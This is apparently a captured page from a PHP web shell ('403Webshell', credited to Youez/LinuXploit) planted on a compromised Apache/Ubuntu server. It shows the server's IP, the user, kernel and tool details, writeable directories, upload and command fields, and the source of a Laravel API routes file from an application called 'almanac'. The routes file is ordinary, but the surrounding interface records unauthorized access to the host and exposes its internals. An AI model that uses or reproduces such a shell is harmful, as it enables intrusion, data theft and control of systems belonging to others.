403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/almanac/current/routes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/almanac/current/routes/api.php
<?php

use App\Http\Controllers\Api\ApiKeysController;
use App\Http\Controllers\Api\AuditController;
use App\Http\Controllers\Api\ChatController;
use App\Http\Controllers\Api\ConnectorsController;
use App\Http\Controllers\Api\ConversationsController;
use App\Http\Controllers\Api\CostController;
use App\Http\Controllers\Api\DeletionRequestsController;
use App\Http\Controllers\Api\FeedbackController;
use App\Http\Controllers\Api\GapReportController;
use App\Http\Controllers\Api\HealthController;
use App\Http\Controllers\Api\IngestRunsController;
use App\Http\Controllers\Api\PromptInjectionSignalsController;
use App\Http\Controllers\Api\SourcesController;
use App\Http\Controllers\Api\WorkspacesController;
use Illuminate\Support\Facades\Route;

Route::prefix('v1')->group(function () {
    Route::get('healthz', HealthController::class)->name('v1.healthz');

    Route::middleware(['api.key', 'workspace.rate-limit'])->group(function () {
        // Chat (scope: chat_only and above)
        Route::post('chat', ChatController::class)->name('v1.chat');
        Route::get('conversations/{id}', [ConversationsController::class, 'show'])->name('v1.conversations.show');
        Route::get('sources/{docId}', [SourcesController::class, 'show'])->name('v1.sources.show');

        // Feedback (scope: chat_and_feedback and above)
        Route::middleware(['api.key:chat_and_feedback'])->group(function () {
            Route::post('feedback', FeedbackController::class)->name('v1.feedback');
        });

        // Workspace context
        Route::get('workspaces/current', [WorkspacesController::class, 'current'])->name('v1.workspaces.current');

        // Admin-read scope and above
        Route::middleware(['api.key:admin_read'])->group(function () {
            Route::get('connectors', [ConnectorsController::class, 'index'])->name('v1.connectors.index');
            Route::get('connectors/{id}', [ConnectorsController::class, 'show'])->name('v1.connectors.show');
            Route::get('ingest-runs', IngestRunsController::class)->name('v1.ingest-runs');
            Route::get('gap-report', [GapReportController::class, 'index'])->name('v1.gap-report.index');
            Route::get('audit-log', AuditController::class)->name('v1.audit-log');
            Route::get('prompt-injection-signals', [PromptInjectionSignalsController::class, 'index'])->name('v1.prompt-injection-signals');
            Route::get('cost', CostController::class)->name('v1.cost');
            Route::get('deletion-requests/{id}', [DeletionRequestsController::class, 'show'])->name('v1.deletion-requests.show');
        });

        // Admin-write scope only
        Route::middleware(['api.key:admin_write'])->group(function () {
            Route::post('connectors', [ConnectorsController::class, 'store'])->name('v1.connectors.store');
            Route::patch('connectors/{id}', [ConnectorsController::class, 'update'])->name('v1.connectors.update');
            Route::delete('connectors/{id}', [ConnectorsController::class, 'destroy'])->name('v1.connectors.destroy');
            Route::post('connectors/{id}/reindex', [ConnectorsController::class, 'reindex'])->name('v1.connectors.reindex');
            Route::post('connectors/{id}/pause', [ConnectorsController::class, 'pause'])->name('v1.connectors.pause');
            Route::post('connectors/{id}/resume', [ConnectorsController::class, 'resume'])->name('v1.connectors.resume');

            Route::post('gap-clusters/{id}/mark-addressed', [GapReportController::class, 'markAddressed'])->name('v1.gap-clusters.mark-addressed');

            Route::get('api-keys', [ApiKeysController::class, 'index'])->name('v1.api-keys.index');
            Route::post('api-keys', [ApiKeysController::class, 'store'])->name('v1.api-keys.store');
            Route::delete('api-keys/{id}', [ApiKeysController::class, 'destroy'])->name('v1.api-keys.destroy');

            Route::post('deletion-requests', [DeletionRequestsController::class, 'store'])->name('v1.deletion-requests.store');
        });
    });
});

Youez - 2016 - github.com/yon3zu
LinuXploit